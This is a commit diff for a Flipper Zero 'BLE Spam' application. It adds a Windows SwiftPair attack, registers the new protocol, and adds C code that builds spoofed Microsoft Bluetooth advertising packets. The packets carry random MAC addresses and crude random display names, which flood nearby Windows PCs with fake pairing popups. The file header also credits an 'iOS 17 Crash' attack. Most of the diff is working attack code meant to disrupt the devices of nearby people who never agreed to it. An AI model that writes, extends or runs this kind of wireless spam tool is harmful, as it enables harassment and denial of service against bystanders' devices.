BLE Spam add Windows SwiftPair spam

Co-authored-by: Spooks <62370103+Spooks4576@users.noreply.github.com>

applications/external/ble_spam/ble_spam.c

@@ -7,7 +7,7 @@
 // Hacked together by @Willy-JL
 // Custom adv API by @Willy-JL (idea by @xMasterX)
 // iOS 17 Crash by @ECTO-1A
-// Android Pairs by @Spooks4576 and @ECTO-1A
+// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
 // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
 
@@ -98,6 +98,19 @@ static Attack attacks[] = {
                     },
             },
     },
+    {
+        .title = "Windows Device Found",
+        .text = "Requires enabling SwiftPair",
+        .payload =
+            {
+                .random_mac = true,
+                .protocol = &ble_spam_protocol_swiftpair,
+                .msg =
+                    {
+                        .swiftpair = {},
+                    },
+            },
+    },
 };
 
 #define ATTACK_COUNT ((signed)COUNT_OF(attacks))
@@ -256,7 +269,7 @@ static void draw_callback(Canvas* canvas, void* ctx) {
             AlignTop,
             "App+Spam: \e#WillyJL\e# XFW\n"
             "Apple+Crash: \e#ECTO-1A\e#\n"
-            "Android: \e#Spooks4576\e#\n"
+            "Android+Win: \e#Spooks4576\e#\n"
             "                                   Version \e#2.0\e#",
             false);
         break;

applications/external/ble_spam/protocols/_registry.c

@@ -3,6 +3,7 @@
 const BleSpamProtocol* ble_spam_protocols[] = {
     &ble_spam_protocol_continuity,
     &ble_spam_protocol_fastpair,
+    &ble_spam_protocol_swiftpair,
 };
 
 const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);

applications/external/ble_spam/protocols/_registry.h

@@ -2,10 +2,12 @@
 
 #include "continuity.h"
 #include "fastpair.h"
+#include "swiftpair.h"
 
 union BleSpamMsg {
     ContinuityMsg continuity;
     FastpairMsg fastpair;
+    SwiftpairMsg swiftpair;
 };
 
 extern const BleSpamProtocol* ble_spam_protocols[];

applications/external/ble_spam/protocols/swiftpair.c

@@ -0,0 +1,54 @@
+#include "swiftpair.h"
+#include "_registry.h"
+
+// Hacked together by @Willy-JL and @Spooks4576
+// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
+
+const char* swiftpair_get_name(const BleSpamMsg* _msg) {
+    const SwiftpairMsg* msg = &_msg->swiftpair;
+    UNUSED(msg);
+    return "SwiftPair";
+}
+
+void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
+    const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
+
+    const char* display_name;
+    if(msg && msg->display_name[0] != '\0') {
+        display_name = msg->display_name;
+    } else {
+        const char* names[] = {
+            "Assquach💦",
+            "Flipper 🐬",
+            "iOS 17 🍎",
+            "Kink💦",
+            "👉👌",
+            "🔵🦷",
+        };
+        display_name = names[rand() % COUNT_OF(names)];
+    }
+    uint8_t display_name_len = strlen(display_name);
+
+    uint8_t size = 7 + display_name_len;
+    uint8_t* packet = malloc(size);
+    uint8_t i = 0;
+
+    packet[i++] = size - 1; // Size
+    packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+    packet[i++] = 0x06; // Company ID (Microsoft)
+    packet[i++] = 0x00; // ...
+    packet[i++] = 0x03; // Microsoft Beacon ID
+    packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
+    packet[i++] = 0x80; // Reserved RSSI Byte
+    memcpy(&packet[i], display_name, display_name_len); // Display Name
+    i += display_name_len;
+
+    *out_size = size;
+    *out_packet = packet;
+}
+
+const BleSpamProtocol ble_spam_protocol_swiftpair = {
+    .icon = &I_windows,
+    .get_name = swiftpair_get_name,
+    .make_packet = swiftpair_make_packet,
+};

applications/external/ble_spam/protocols/swiftpair.h

@@ -0,0 +1,11 @@
+#pragma once
+#include "_base.h"
+
+// Hacked together by @Willy-JL and @Spooks4576
+// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
+
+typedef struct {
+    char display_name[25];
+} SwiftpairMsg;
+
+extern const BleSpamProtocol ble_spam_protocol_swiftpair;